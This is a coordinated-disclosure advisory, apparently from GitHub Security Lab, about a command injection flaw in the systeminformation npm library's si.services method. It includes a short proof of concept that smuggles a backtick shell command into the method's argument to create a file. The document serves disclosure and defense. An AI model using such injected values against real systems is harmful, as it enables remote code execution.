Coordinated Disclosure Timeline

Summary

The si.services method has a command injection vulnerability. Clients of the systeminformation library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

systeminformation

Tested Version

Commit 1fd784f

Details

Issue 1: Command injection in si.services

The following proof-of-concept illustrates the vulnerability. First install systeminformation:

npm install systeminformation

Now create a file with the following contents:

const si = require('systeminformation');

si.services("foo,`echo>exploit`", function() {
  console.log(arguments);
});

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:

We have written a CodeQL query, which automatically detects this vulnerability.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-112 in any communication regarding this issue.